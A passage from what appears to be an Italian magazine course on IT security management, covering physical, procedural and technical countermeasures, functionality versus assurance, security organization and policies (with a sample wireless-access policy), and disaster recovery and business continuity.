si pu decidere di accettare il rischio senza alcuna contro-
misura. Lo stesso dicasi nei casi in cui il rischio residuo (il
rischio che rimane dopo ladozione delle contromisure)
non fosse significativamente inferiore al rischio iniziale. In
pratica, la scelta e adozione delle contromisure dettata
sia dagli obiettivi di sicurezza (e relative priorit di urgen-
za e importanza) sia dal buon senso economico.
Si possono classificare le contromisure in tre categorie
a seconda che siano di carattere fisico, di tipo procedura-
le o di tipo tecnico informatico.
Contromisure di carattere fisico. Queste contromisure so-
no generalmente legate alla prevenzione e al controllo del-
laccesso a installazioni, locali, attrezzature, mezzi di co-
municazione. Un esempio un centro di calcolo realizzato
in un edificio protetto e accessibile solo dopo il riconosci-
mento del personale autorizzato. Una server farm per ospi-
tare migliaia di siti web probabilmente dotata di varie
contromisure di tipo fisico: la collocazione in zona elevata
non soggetta ad alluvioni, pompe e rilevatori per evacuare
lacqua, sistemi antincendio, accessi blindati e sorvegliati
e via dicendo. Dato che sistemi e installazioni comunicano
in rete, anche le linee di comunicazione possono avere bi-
sogno di protezione fisica contro intercettazioni, disturbi e
danneggiamenti. Tra le contromisure fisiche ci sono le ca-
nalizzazioni dei cavi di rete, magari interrate o sotto traccia
per ostacolare laccesso e le schermature di vetri e pareti
per contenere il campo delle reti wireless.
Contromisure di tipo procedurale. Queste contromisure
definiscono passo per passo le operazioni per eseguire un
certo compito oppure regolano il comportamento degli
utenti per gli aspetti che riguardano la sicurezza delle infor-
mazioni e delle risorse.
Mentre le contromisure fisiche proteggono laccesso fi-
sico alle risorse e le contromisure informatiche agiscono a
livello hardware, firmware e software, le procedure opera-
tive e le regole di comportamento si applicano alle perso-
ne (utenti e amministratori). Lo scopo, da un lato, quello
di evitare che gli utenti causino vulnerabilit e minacce e,
dallaltro, che contribuiscano a mantenere alte le difese ri-
ducendo i rischi residui lasciati dalle altre contromisure.
Esempi di contromisure di tipo procedurale sono il con-
trollo dellidentit dei visitatori e la limitazione delle aree a
cui hanno accesso. Quando si usa un badge o altra scheda
di riconoscimento, anche la sua custodia oggetto delle
procedure, cos che non venga lasciato sulla scrivania o in
un cassetto aperto o comunque a disposizione di altri.
Le password sono uno strumento di protezione infor-
matico, ma le regole per la loro assegnazione, durata, uti-
lizzo e custodia fanno parte delle contromisure procedurali
per ridurre il rischio che cadano in cattive mani. Alcune
norme comuni sono: utilizzare password non brevi, conte-
nenti non solo lettere; raccomandare o imporre modifiche
periodiche delle password; bloccare laccesso dopo un nu-
mero limitato di tentativi errati; sensibilizzare e responsa-
bilizzare gli utenti sugli effetti della mancata riservatezza
(tenere la password su un post-it sotto la tastiera, in un cas-
setto ecc. o comunicare la propria password a un collega o
a un sedicente tecnico di assistenza).
Come per le password, ci sono altre contromisure infor-
matiche che sono efficaci solo se si rispettano certe norme
duso o procedure organizzative. Un antivirus, per esem-
pio, efficace se aggiornato di frequente, come minimo
una volta al giorno. Una vulnerabilit degli antivirus in-
fatti quella di non proteggere dai virus di recente introdu-
zione; il rimedio installare un sistema centralizzato e una
procedura che assicuri laggiornamento almeno quotidiano
del file di riconoscimento dei virus e un aggiornamento pe-
riodico del software antivirus. Per un piccolo ufficio, lo
stesso risultato pu essere ottenuto installando un antivi-
rus che scarichi automaticamente gli aggiornamenti tutti i
giorni e che esegua una scansione giornaliera dei file.
In generale, le contromisure di tipo procedurale do-
vrebbero essere ridotte al minimo, sostituendole quando
possibile con sistemi automatizzati, meno soggetti agli er-
rori, dimenticanze e violazioni degli utenti. il caso, per
esempio, dei dispostivi di riconoscimento biometrici usa-
ti al posto dei badge o delle password. Anche laggiorna-
mento periodico del firmware dei firewall, anzich essere
oggetto di norme procedurali, pu essere automatizzato
utilizzando firewall che si aggiornano automaticamente col-
legandosi al sito del produttore. In questo modo, sia le fun-
zionalit sia le protezioni sono tenute aggiornate evitando
il costo degli interventi manuali, linterruzione del servizio,
il rischio di errori manuali e il rischio di una minore prote-
zione a causa dellinvecchiamento del firmware.
Altri esempi riguardano le norme duso di hardware e
software, dove una documentazione inadeguata e un ad-
destramento sommario possono favorire errori o il man-
cato utilizzo di certe funzioni, aumentando i rischi per la si-
curezza.
Nel campo dei backup, non tutte le aziende hanno pro-
cedure automatiche che garantiscano il ripristino dopo un
disastro (disaster recovery) o la continuit operativa (bu-
siness continuity) a dispetto di qualsiasi evento catastrofi-
co. Vista lentit dellimpatto e la frequenza di guasti ai sup-
porti magnetici, vitale avere una strategia di backup e
mettere in atto procedure che garantiscano lesecuzione
dei back a pi livelli (con diverse periodicit) e la verifica
dellintegrit e utilizzabilit dei supporti di backup. Parte di
queste operazioni pu essere automatizzata, specialmente
nelle aziende medio-grandi; la verifica dei supporti di
www.pcopen.it 8
backup invece spesso un punto trascurato. Nei piccoli uf-
fici, i pi soggetti a improvvisazione e omissioni in tema di
backup, la difficolt di imporre losservanza di procedure
aggirabile tramite applicazioni software commerciali
che, in modo automatico e pianificato, salvano le immagi-
ni delle partizioni degli hard disk, senza interrompere il la-
voro sui computer. In questo modo, si pu utilizzare una
contromisura tecnico informatica al posto di quella che,
normalmente, una contromisura procedurale.
Lo smaltimento dei supporti su cui risiedono informa-
zioni un altro esempio dellopportunit di contromisure
procedurali per evitare che informazioni riservate siano re-
se pubbliche. Le contromisure possono includere la di-
struzione dei documenti cartacei da gettare nella spazza-
tura, la cancellazione dei supporti magnetici da smaltire o
da sostituire in garanzia, lo spostamento degli archivi o le-
strazione degli hard disk prima di mandare un computer in
manutenzione (salvo luso di personale interno con quali-
fica di sicurezza) e la distruzione dei supporti ottici da
smaltire.
Contromisure di tipo tecnico informatico. Queste sono
le contromisure realizzate attraverso mezzi hardware,
firmware e software e prendono anche il nome di funzioni
di sicurezza. In base al loro campo dazione, possono es-
sere classificate nelle categorie che seguono.
Identificazione e autenticazione. Le funzioni di questa
categoria servono a identificare un individuo o un proces-
so e ad autenticarne lidentit. Lesempio pi comune la
funzione di accesso (login) a un sistema tramite nome uten-
te (per lidentificazione) e password (per lautenticazione
dellidentit). Lautenticazione viene usata anche nelle co-
municazioni tra processi e nei protocolli di comunicazione
per accertare lidentit del processo o dellutente associa-
to al processo.
Controllo degli accessi. In questa categoria troviamo le
funzioni di sicurezza che verificano se il processo o luten-
te, di cui stata autenticata lidentit, ha il diritto di acce-
dere alla risorsa richiesta (per esempio file, directory, stam-
panti) e di eseguire loperazione specificata (per esempio
lettura, esecuzione, modifica, creazione, cancellazione).
Per i processi, anche laccesso alla memoria regolamen-
tato, in modo che un processo non possa leggere i dati di
un altro processo o, in certi casi, non possa eseguire istru-
zioni contenute in aree destinate esclusivamente a dati.
Analoghe funzioni sono svolte a livello hardware dalla CPU
nella sua gestione delle pagine di memoria.
Rendicontabilit (accountability). A questa categoria
appartengono le funzioni che permettono di attribuire la re-
sponsabilit degli eventi agli individui che li hanno causa-
ti. Laccountability richiede lattuazione delle misure di-
dentificazione e autenticazione degli utenti e lassociazio-
ne a ogni processo dellidentit del suo proprietario, come
avviene nei moderni sistemi operativi.
Verifica (audit). A questa categoria appartengono le fun-
zioni che registrano gli eventi in un file di logging, con infor-
mazioni riguardo a errori e a violazioni di sicurezza. Grazie
a queste registrazioni, possibile risalire a ci che acca-
duto e prendere provvedimenti. Nel caso di segnalazione di
malfunzionamenti hardware o di errori software, si posso-
no intraprendere azioni di diagnosi e manutenzione (per
esempio la verifica e correzione del file system).
Nel caso di eventi che riguardano la sicurezza, il log
permette di scoprire irregolarit, come tentativi di accesso
illeciti e tentativi di intrusione. Esempi di funzioni di logging
sono quelle di Windows, che registra log degli eventi di si-
stema, applicativi e di sicurezza oppure il demone syslogd
dei sistemi Unix/Linux.
Nel caso dei firewall, il log comprende la registrazione
selettiva degli eventi che si desidera tenere sotto control-
lo: tutti, se non non attiva nessun filtro, oppure solo quelli
che superano un certo livello di gravit.
Solitamente i firewall offrono lopzione di logging remo-
to, che consiste nellinviare la segnalazione degli eventi a
un computer, in modo da poter tenere registrazioni anche
voluminose (su lunghi periodi di tempo) e poterle analiz-
zare pi facilmente.
Riutilizzo degli oggetti. Questa categoria comprende le
funzioni che permettono di riutilizzare oggetti contenenti
informazioni riservate: supporti magnetici, supporti ottici
riscrivibili, aree di memoria RAM, zone di memoria dei pro-
cessori (registri, cache, ecc.), buffer di periferiche e simili.
Lo scopo quello di evitare che informazioni riservate sia-
no lasciate a disposizione di programmi e utenti dopo il lo-
ro regolare utilizzo. Le contromisure in questa area hanno
il compito di cancellare le aree di memoria e di disco subi-
to dopo il loro utilizzo per il transito di informazioni riser-
vate. Un esempio riguarda le aree di memoria dove transi-
tano le password o altre informazioni in chiaro prima del-
la loro cifratura: buffer, registri e aree di lavoro dovrebbe-
ro essere cancellate per evitare che siano lette da altri pro-
cessi autorizzati ad accedere a quelle aree ma associati a
utenti non autorizzati alla conoscenza di quelle informa-
zioni. Un altro esempio offerto dalle aree di scambio su di-
sco, come i file di swapping o paging del sistema operativo.
utile attivare lopzione di cancellazione automatica di
questi file alla chiusura del sistema, in modo che utenti
non autorizzati non possano esaminarlo a caccia di infor-
mazioni riservate.
Accuratezza. Fanno parte di questa categoria tutte le
funzioni intese a garantire laccuratezza delle informazioni.
Per esempio, perch i file di logging forniscano informazio-
ni attendibili, la registrazione temporale (time stamp) del-
levento deve essere precisa. Questo accade se lorologio in-
terno sincronizzato periodicamente con un time server di
riferimento. Sistemi operativi, switch, firewall e altri dispo-
sitivi offrono questa funzionalit, che se necessario va atti-
vata specificando il nome del time server (per esempio ti-
me.nist.gov). In campo software, esempi di funzioni a dife-
sa dellaccuratezza delle informazioni sono le funzioni che
controllano i limiti di occupazione di buffer e array e quel-
le che validano la correttezza dei dati immessi dagli utenti.
Affidabilit del servizio. Questa una vasta categoria
di contromisure, perch sono diverse le aree che potreb-
bero compromettere laffidabilit dei servizi informatici. Si
inizia dalle contromisure per mantenere condizioni di ali-
mentazione elettrica stabile, filtrata e senza interruzione
(gruppi di continuit), per passare alle difese dai malfun-
zionamenti hardware (monitoraggio e manutenzione pre-
ventiva) e software (monitoraggio degli errori nei file di log-
ging, aggiornamenti, monitoraggio delle prestazioni, roll-
back delle transazioni non andate a buon fine, ripristino di
uno stato precedente del sistema operativo, ripristino del-
le partizioni di disco a uno stato integro precedente). Altre
contromisure possono essere sviluppate per difendere si-
stemi e applicazioni dagli errori degli utenti.
Scambio dati sicuro. In questa categoria ci sono le fun-
zioni destinate a garantire la sicurezza delle trasmissioni. Il
modello OSI Security Architecture (ISO 7498-2) le classifica
nelle seguenti sottoclassi: autenticazione, controllo del-
laccesso, riservatezza, integrit (dellhardware, dei dati e
dei flussi di pacchetti trasmessi sia in modo connection-
less, come UDP, sia connection-oriented, come TCP, anche
ai fini della corretta sequenza dei pacchetti) e non ripudio.
Esempi di contromisure in questa area sono luso di crit-
tografia a chiave simmetrica e asimmetrica (chiave pub-
blica pi chiave privata) e lautenticazione tramite Messa-
ge Authentication Code (il risultato dellhashing applicato
al messaggio pi una chiave segreta simmetrica; vengono
trasmessi messaggio e MAC; a destinazione il MAC viene ri-
calcolato sul messaggio pi chiave simmetrica e confron-
tato col MAC ricevuto, cos da verificare lintegrit del mes-
saggio e lautenticazione del mittente).
Funzionalit e garanzia nel controllo del rischio
La sicurezza delle informazioni caratterizzata da due
www.pcopen.it 9
fattori di base indipendenti: la funzionalit e la garanzia (as-
surance).
Il termine funzionalit, applicato alla sicurezza, conser-
va il significato generale che ha in altri settori; linsieme
di ci che un prodotto o un sistema informatico fornisce in
relazione alla protezione delle informazioni e, di riflesso,
delle risorse e dei servizi informatici. Il panorama di con-
tromisure descritto nella sezione precedente (5.1.2.2) com-
prende gran parte delle funzionalit di sicurezza che po-
trebbero essere necessarie.
Il concetto di garanzia stato introdotto da chi si occu-
pa di sicurezza per esprimere il grado in cui limplementa-
zione di una funzionalit riduce una vulnerabilit o la pos-
sibilit di attuazione di una minaccia. Se la funzionalit rap-
presenta un elemento di protezione, la garanzia ne indica la
validit.
Prendiamo ad esempio la funzionalit autenticazione
dellidentit. Oggi limplementazione pi comune consiste
nelluso di una password segreta per convalidare il nome
dellutente. Tuttavia, ci sono altre soluzioni, come lutilizzo
di un oggetto fisico (come badge o smart card) o di un di-
spositivo biometrico (basato ad esempio sul riconosci-
mento dellimpronta digitale, della cornea, del volto o del-
la voce). Nessuna di queste implementazioni infallibile e
la scelta dipende da vari fattori: il settore di attivit, la di-
mensione aziendale, il livello di rischio, la sensibilit e la
competenza degli utenti, le minacce ambientali, i costi so-
stenibili e via dicendo. Un laboratorio di ricerca in un set-
tore avanzato competitivo potrebbe dotarsi di un sistema
di riconoscimento vocale sofisticato da un punto di vista
funzionale, ma di scarsa garanzia se le parole da pronun-
ciare sono prevedibili (e quindi preventivamente registra-
bili).
Altrettanto scarsa garanzia offrirebbe un sistema di ri-
conoscimento dellimpronta digitale dove un guardiano
prevenisse frodi ma la precisione del riconoscimento fosse
insoddisfacente.
Vediamo quindi che la garanzia costituita a sua volta
da due aspetti distinti: la correttezza e lefficacia. La cor-
rettezza un attributo intrinseco di un prodotto (o com-
ponente o procedura), che riflette il grado di corrispon-
denza tra le effettive funzioni svolte dal prodotto e le sue
specifiche. Per esempio, un prodotto capace di riconosce-
re il 99% delle voci umane adulte con almeno 30 dB di rap-
porto segnale/rumore, riceverebbe unalta valutazione di
correttezza rispetto alla funzione riconoscere la voce de-
gli utenti.
La correttezza una propriet intrinseca del prodotto
nellambito delle condizioni duso previste; non dipende da
fattori esterni, come lopportunit di utilizzare o meno quel
prodotto per soddisfare una particolare esigenza.
Lefficacia invece una propriet che mette in relazione
la contromisura (prodotto, procedura o altro) con il con-
testo in cui utilizzata, in particolare le vulnerabilit, la gra-
vit e la probabilit di attuazione delle minacce, le caratte-
ristiche degli agenti che attuano le minacce, limportanza
del bene da proteggere e cos via. Supponiamo che per il la-
boratorio del nostro esempio sia vitale consentire lacces-
so solo al personale autorizzato, visto il valore delle infor-
mazioni e risorse da proteggere e lalta probabilit di mi-
nacce di intrusione fisica e telematica da parte di agenti
(software e individui) ritenuti pericolosi. Il progetto di si-
curezza si basa sulla completezza delle funzionalit (le con-
tromisure messe in campo) e sulla garanzia che le contro-
misure adottate riducano le vulnerabilit e le minacce a li-
velli accettabili. Supponendo che lanalisi del rischio abbia
portato a identificare tutte le funzionalit di sicurezza uti-
lizzabili, tra cui gli strumenti e le procedure per impedire
una falsa autenticazione da parte di software e personale
ostile, nella fase di valutazione della garanzia si dovranno
esaminare correttezza ed efficacia delle soluzioni. Per
esempio, un sistema di riconoscimento vocale potrebbe ri-
sultare adatto per ambienti con livello medio di rischio, ma
essere inadeguato a fronte di un rischio elevato e di una mi-
naccia agguerrita. Potrebbe risultare pi efficace un siste-
ma basato su domande a cui solo il legittimo utente possa
rispondere o su un dispositivo fisico (tipo smart card) in-
terattivo, da aggiornare ogni giorno per rimanere valido (in
modo da perdere validit in caso di furto o manipolazione).
Un altro esempio ci viene offerto dalle contromisure di
natura fisica per impedire laccesso alle persone non auto-
rizzate. Le contromisure per il controllo dellaccesso pos-
sono limitarsi a una porta blindata o includere sistemi di ri-
levamento del movimento, telecamere e registratore video,
sistemi di allarme con chiamata di numeri telefonici e altri
deterrenti per impedire e/o scoraggiare il tentativo di ef-
frazione. In fase di analisi del rischio, supponiamo che sia
emersa lesigenza di installare una porta blindata capace di
resistere a una determinata forza di sfondamento, priva di
cardini a vista e resistente al fuoco. Queste sono quindi le
specifiche rispetto alle quali verr valutata la correttezza
dei prodotti. Ora, anche se abbiamo individuato la miglio-
re delle porte blindate sul mercato, dobbiamo valutare la-
spetto efficacia. Per quanto tempo la porta resister alle
tecniche di scasso pi evolute? Qual la probabilit che le
forze dellordine arrivino in tempo per impedire laccesso
alle risorse informatiche, agli archivi e alle informazioni? Se
il rischio rilevante, probabilmente si dovr identificare un
pacchetto di contromisure che, nellinsieme, costituiscano
un percorso ad ostacoli capace di resistere al gruppo dat-
tacco pi determinato.
Poich i beni da proteggere possono essere assai diver-
si da un caso allaltro, il programma di sicurezza dovr es-
sere personalizzato per la situazione specifica, in modo che
la scelta delle contromisure e relative funzionalit e garan-
zie siano commisurate allentit del rischio e ai tipi vulne-
rabilit e minacce.
Organizzazione della sicurezza
I processi
La sicurezza delle informazioni il risultato di un insie-
me di processi ai vari livelli dellorganigramma aziendale.
Non bastano strumenti e tecnologie per ottenere la sicu-
rezza. Occorre, in primo luogo, creare unorganizzazione
per la sicurezza che assuma la responsabilit di quanto at-
tiene alla sicurezza e coinvolga lintera struttura aziendale,
in modo che tutto il personale contribuisca nel proprio am-
bito al disegno generale della sicurezza. Infatti, la sicurez-
za delle informazioni, delle risorse informative (non solo
informatiche) e in generale dei beni e del valore dellazien-
da dipende non solo dal lavoro del gruppo addetto alla si-
curezza ma anche dal comportamento del personale (in-
terno ed esterno) a tutti i livelli dellorganigramma.
Come avviene per il progetto di un edificio, lorganizza-
zione della sicurezza dovrebbe partire dallalto, dove gli
obiettivi e le politiche di sicurezza sono definiti in termini
generali dal top management, per essere poi specificati nei
dettagli man mano che si scende attraverso gli strati del
modello organizzativo della sicurezza. In cima a questo mo-
dello ci sono gli obiettivi di business strategici, che ispira-
no i processi fondamentali di cui si deve fare carico lorga-
nizzazione di sicurezza: classificazione dei beni e del loro
valore, censimento di vulnerabilit e minacce, analisi del ri-
schio, analisi costi/benefici delle contromisure, valutazio-
ne del grado di protezione, definizione delle politiche di si-
curezza, pianificazione, implementazione e gestione dei
progetti di sicurezza, monitoraggio della conformit tra le
soluzioni adottate e le politiche di sicurezza e altro ancora.
Lapproccio dallalto al basso permette di coinvolgere
tutti i livelli aziendali interessati, di assegnare precise re-
sponsabilit, di definire politiche coerenti per lintera strut-
5.1.2 Gestione del
rischio
differenza tra
funzionalit e
garanzia e
limportanza di
conseguire entrambe
al fine di controllare il
rischio.
5.1.3 Organizzazione
della sicurezza
5.1.3.2 conoscere i
principali processi da
attivare in
unorganizzazione
che mira a
conseguire la
sicurezza delle
informazioni.
www.pcopen.it 10
tura aziendale, di sensibilizzare ed educare il personale, di
finanziare adeguatamente il progetto sicurezza e di rimuo-
vere gli ostacoli che si presenteranno quando verranno
adottate procedure e strumenti che avranno un impatto
sulloperativit quotidiana e sulle abitudini del personale (a
tutti i livelli).
A volte nelle aziende vengono prese iniziative di sicu-
rezza dal basso, con le buone intenzioni di proteggere al-
cuni obiettivi di sicurezza immediati. Senza la forza di spin-
ta, lautorit, la responsabilit, il coinvolgimento generale
e i mezzi assicurati dal management superiore, i tentativi
dal basso si scontrano facilmente con ostacoli insormon-
tabili e sono spesso destinati a fallire. Il migliore interesse
dellazienda esige che la responsabilit della sicurezza si
diffonda a cascata dalla cima verso la base della piramide
aziendale, con la partecipazione dei vari strati di utenti del-
la sicurezza. In questo modo, anzich turare alcune falle
senza un piano preciso, si potr corazzare lintera struttu-
ra aziendale nel modo pi efficiente rispetto al rischio da
controllare e al budget disponibile. Una volta definiti gli
obiettivi, le politiche, un piano e le soluzioni da adottare, si
potr sensibilizzare e informare tutto il personale sugli
aspetti concernenti la sicurezza, rendendo esplicite le re-
sponsabilit e le sanzioni per manager, amministratori e
utenti.
La struttura organizzativa della sicurezza pu assumere
varie forme secondo il tipo e le dimensioni dellazienda, il
campo di attivit, il rapporto con lambiente, il mercato e
altri fattori. Pu essere informale in una piccola azienda
senza particolari problemi di sicurezza oppure essere
complessa con rappresentanti delle diverse aree aziendali
in una grande societ. Pu limitarsi alla sicurezza delle
informazioni o estendere la propria sfera allintera sicu-
rezza aziendale, inclusa la gestione del rischio nei settori
operativo, marketing, finanziario ecc.
Un aspetto che modella i processi di sicurezza il costo
in base al rischio e allattivit dellazienda. A questo pro-
posito, facile immaginare una scala crescente di rischi e
investimenti in sicurezza. Aziende manifatturiere, organiz-
zazioni finanziarie, certification authority (organizzazioni fi-
date che rilasciano certificati digitali) e forze armate sono
esempi di requisiti crescenti di sicurezza.
Uno dei primi compiti del gruppo incaricato della sicu-
rezza quindi quello di inquadrare lazienda in base al mo-
dello di attivit, allesposizione ai rischi e alla dipendenza
dallinfrastruttura informatica e di comunicazioni. Questo
esame preliminare dovr tenere in considerazione il qua-
dro legislativo tracciato dalle leggi sulla criminalit infor-
matica e sulla privacy che si sono succedute numerose nel
corso degli anni e che sono culminati con il decreto legge
196 del 2003 (Codice in materia di protezione dei dati per-
sonali). Le norme di legge pongono dei vincoli, secondo il
tipo di attivit, che devono essere calcolati nel delineare
lorganizzazione, le politiche e i progetti di sicurezza.
Di conseguenza, lorganizzazione della sicurezza do-
vrebbe partire dagli individui, top manager e personale de-
legato, che per legge sono ritenuti proprietari e custodi del-
le informazioni e pertanto responsabili delle eventuali vio-
lazioni da parte dellintero personale aziendale e respon-
sabili dei danni verso terzi che ne conseguono. Dopo di
Un esempio di politica di sicurezza
per le comunicazioni wireless
1.0 Scopo
Questa policy proibisce laccesso alla rete della ACME
SpA attraverso connessioni wireless insicure, cio non
protette tramite autenticazione dellutente e cifratura dei
dati. Solo i sistemi wireless conformi ai criteri di questa
policy o che hanno ricevuto una speciale esenzione dal
responsabile della sicurezza sono approvati per la
connessione alle reti della ACME SpA.
2.0 Portata
Questa policy copre tutti i dispositivi di comunicazione
dati senza fili (per es. personal computer, telefoni
cellulari, PDA eccetera) connessi con una delle reti della
ACME SpA. Questo comprende qualunque tipo di
dispositivo wireless capace di trasmettere dati a
pacchetti. I dispositivi e le reti wireless senza alcuna
connessione alle reti della ACME SpA non rientrano
nellambito di questa policy.
3.0 Policy
3.1 Registrazione degli access point e delle schede
Tutti gli access point o stazioni di base connessi alla
rete aziendale devono essere registrati e approvati dal
responsabile della sicurezza. Questi access point sono
soggetti a test di intrusione e a periodici audit. Tutte le
schede dinterfaccia wireless di rete usate sui desktop e
notebook aziendali devono essere registrate presso il
responsabile della sicurezza.
3.2 Tecnologie approvate
Ogni accesso wireless alla LAN deve utilizzare prodotti e
configurazioni di sicurezza approvati dallazienda.
3.3 Cifratura e autenticazione via VPN
Tutti i computer con dispositivi LAN wireless devono
utilizzare una Rete Privata Virtuale (VPN) approvata
dallazienda e configurata per ignorare tutto il traffico
non autenticato e non cifrato. Per conformit con questa
policy, le implementazioni wireless devono mantenere
una cifratura hardware di ogni connessione con chiavi di
almeno 128 bit. Tutte le implementazioni devono
supportare un indirizzo hardware (MAC address)
registrato e rintracciabile. Tutte le implementazioni
devono supportare e impiegare una forte autenticazione
degli utenti tramite accesso a un server e database
esterno come TACACS+, RADIUS o simile.
3.4 Impostazione dellSSID
LSSID (Service Set Identifier unintestazione
aggiuntiva ai pacchetti mandati su una WLAN che funge
da password per chi vuole accedere alla rete - sar
impostato in modo che non contenga alcuna
informazione relativa allorganizzazione, come nome
dellazienda, nome della divisione o identificatore del
prodotto.
4.0 Applicazione
Qualunque dipendente sia riconosciuto responsabile di
aver violato questa policy pu essere soggetto ad azione
disciplinare, fino alla cessazione del rapporto di lavoro.
5.0 Definizioni
Termine Definizione
Autenticazione Un metodo per verificare se lutente
di un sistema wireless un utente
legittimo, indipendentemente dal
computer o dal sistema operativo
che viene usato.
6.0 Revisioni
10 luglio 2004, aggiunta la sezione 3.4
20 marzo 2004, sezione 3.3 modificata per includere gli
indirizzi MAC
www.pcopen.it 11
che, la partecipazione dovrebbe allargarsi a tutti i livelli. Il
management di livello superiore ha la visione globale del-
lazienda e degli obiettivi di business. I manager intermedi
sanno come funzionano i propri dipartimenti, conoscono il
ruolo degli individui e possono valutare limpatto diretto
della sicurezza nelle loro aree. I manager di livello inferio-
re e lo staff sono a contatto con leffettiva operativit del-
lazienda e conoscono in dettaglio le esigenze tecniche e
procedurali, i sistemi e il loro utilizzo; utilizzano i mecca-
nismi di sicurezza nel lavoro quotidiano e sanno come es-
si si integrano nei sistemi e nei flussi di lavoro e come in-
fluiscono sulla produttivit.
Il ruolo delle politiche di sicurezza
Di solito, le informazioni e le risorse informatiche hanno
una relazione diretta con gli obiettivi e con lesistenza stes-
sa di unazienda. Il management di livello superiore do-
vrebbe perci considerare prioritaria la loro protezione,
definendo gli obiettivi della sicurezza, fornendo il suppor-
to e le risorse necessari e avviando il programma di sicu-
rezza aziendale. Il management deve definire la sfera da-
zione della sicurezza, che cosa deve essere protetto e in
che misura, tenendo conto delle leggi vigenti e dei risulta-
ti dellanalisi del rischio. Quindi deve precisare ci che ci si
aspetta dal personale e le conseguenze delle violazioni. Un
programma di sicurezza dovrebbe contenere tutti gli ele-
menti necessari a fornire allazienda una protezione com-
pleta secondo una strategia a lungo termine. Questi ele-
menti comprendono tra laltro le politiche di sicurezza, le
procedure, gli standard, le linee guida, i criteri minimi di si-
curezza, le azioni di sensibilizzazione e addestramento, le
modalit di reazione agli incidenti e un programma per il
controllo della sicurezza.
La definizione delle politiche di sicurezza a livello azien-
dale il primo risultato dellorganizzazione di sicurezza.
Una politica di sicurezza un documento sintetico in cui il
management superiore, o un comitato delegato allo scopo,
delinea il ruolo della sicurezza nellorganizzazione o in un
suo aspetto particolare.
Generalmente sono necessarie diverse politiche di si-
curezza a pi livelli, da quello superiore riguardante linte-
ra azienda, scendendo ad argomenti pi specifici, come il
sistema informatico e i singoli aspetti tecnici. Il linguaggio,
il livello di dettaglio e il formalismo dei documenti di sicu-
rezza dovranno essere realistici per avere efficacia. Unor-
ganizzazione altamente strutturata sar pi portata a se-
guire politiche e linee guida dettagliate, mentre unazienda
meno strutturata richieder maggiori spiegazioni e una
particolare enfasi per ottenere lapplicazione delle misure
di sicurezza.
La terminologia usata per individuare i livelli principali
delle politiche di sicurezza pu variare. In una grande or-
ganizzazione si pu parlare di organizational security po-
licy, issue-specific policies e system-specific policies per in-
dicare le politiche di sicurezza aziendale, le politiche per
limplementazione di funzioni di sicurezza specifiche e
quelle riguardanti direttamente i computer, le reti, il
software e i dati.
Unaltra suddivisione, applicabile anche su scala medio-
piccola, individua tre livelli: la politica di sicurezza azien-
dale (corporate security policy), la politica di sicurezza per
il sistema informativo (system security policy) e la politica
di sicurezza tecnica (technical security policy).
La politica di sicurezza aziendale indica tutto ci che
deve essere protetto (beni materiali e immateriali) in fun-
zione del tipo di attivit dellazienda, del modello di busi-
ness, dei vincoli esterni (mercato, competizione, leggi vi-
genti) e dei fattori di rischio. Questo documento definisce
gli obiettivi del programma di sicurezza, assegna le re-
sponsabilit per la protezione dei beni e limplementazio-
ne delle misure e attivit di sicurezza e delinea come il pro-
gramma deve essere eseguito. La politica di sicurezza
aziendale fornisce la portata e la direzione di tutte le futu-
re attivit di sicurezza allinterno dellorganizzazione, in-
cluso il livello di rischio che il management disposto ad
accettare.
La politica di sicurezza del sistema informatico defini-
sce, coerentemente con la politica di sicurezza aziendale, in
che modo lazienda intende proteggere le informazioni e le
risorse informatiche, senza entrare nel merito delle tecno-
logie che verranno adottate. In questa fase vengono presi
in considerazione requisiti di sicurezza di tipo fisico e pro-
cedurale, mentre gli aspetti tecnici sono demandati al li-
vello inferiore.
La politica di sicurezza tecnica traduce in requisiti tec-
nici funzionali gli obiettivi che si desidera raggiungere at-
traverso le contromisure di tipo tecnico informatico, nel
contesto dellarchitettura di sistema adottata o pianificata
dallazienda.
In unazienda di piccole dimensioni potranno essere suf-
ficienti singole politiche di sicurezza per ciascuno dei due
livelli inferiori, ma in presenza di pi sistemi, dipartimenti
e divisioni, probabile che le politiche di sicurezza si sud-
dividano per area e per argomento. (Esempi di politiche di
sicurezza sono forniti dal SANS Institute alla pagina
http://www.sans.org/resources/policies/).
Disaster Recovery e Business Continuity
La Disaster Recovery, nel contesto informatico, la ca-
pacit di uninfrastruttura di riprendere le operazioni dopo
un disastro. La maggior parte dei grandi sistemi di calcolo
include programmi di disaster recovery, inoltre esistono
applicazioni di disaster recovery autonome che, periodi-
camente, registrano lo stato corrente del sistema e delle ap-
plicazioni, in modo da poter ripristinare le operazioni in un
tempo minimo. Il termine disaster recovery pu essere usa-
to sia dal punto di vista della prevenzione contro la perdi-
ta di dati sia delle azioni per rimediare a un disastro.
Due caratteristiche per valutare lefficacia di un sistema
di disaster recovery sono il Recovery Point Objective
(RPO, il momento nel tempo a cui il sistema riportato) e
il Recovery Time Objective (RTO, il lasso di tempo che in-
tercorre prima di ripristinare linfrastruttura). Per ridurre
la distanza dellRPO rispetto al presente occorre incre-
mentare il sincronismo della data replication, ovvero la re-
plica di archivi e database su un altro sistema, general-
mente remoto per motivi di sicurezza. Per ridurre lRTO, os-
sia il tempo di ripristino, occorre che i dati siano tenuti on
line su un sistema di riserva pronto a subentrare in caso di
avaria al sistema principale.
La business continuity (talvolta chiamata business con-
tinuance) descrive i processi e le procedure che unorga-
nizzazione mette in atto per assicurare che le funzioni es-
senziali rimangano operative durante e dopo un disastro.
Il Business Continuity Planning cerca di prevenire linter-
ruzione dei servizi critici e di ripristinare la piena operati-
vit nel modo pi rapido e indolore possibile.
Il primo passo nel pianificare la business continuity de-
cidere quali delle funzioni aziendali sono essenziali e de-
stinare di conseguenza il budget disponibile. Una volta che
siano identificati i componenti principali, si possono in-
stallare i meccanismi di failover (sistemi di riserva che su-
bentrano in caso di avaria). Tecnologie appropriate, come
la replica dei database o il mirroring dei dischi su Internet,
permettono a unorganizzazione di mantenere copie ag-
giornate dei dati in ubicazioni remote, in modo che lac-
cesso ai dati sia garantito anche quando uninstallazione
cessa di funzionare.
Un piano di business continuity dovrebbe includere: un
piano di disaster recovery che specifichi le strategie per le
procedure in caso di disastro; un piano di business re-
sumption che specifichi i mezzi per mantenere i servizi es-
senziali presso il luogo di crisi; un piano di business reco-
very che specifichi i mezzi per ripristinare le funzioni azien-
della sicurezza
5.1.3.1 conoscere il
ruolo delle politiche
di sicurezza nel
guidare il
management della
sicurezza IT.
della sicurezza
5.1.3.3 essere
consapevoli delle
necessit di
pianificare la
continuit operativa
dellazienda
(business continuity)
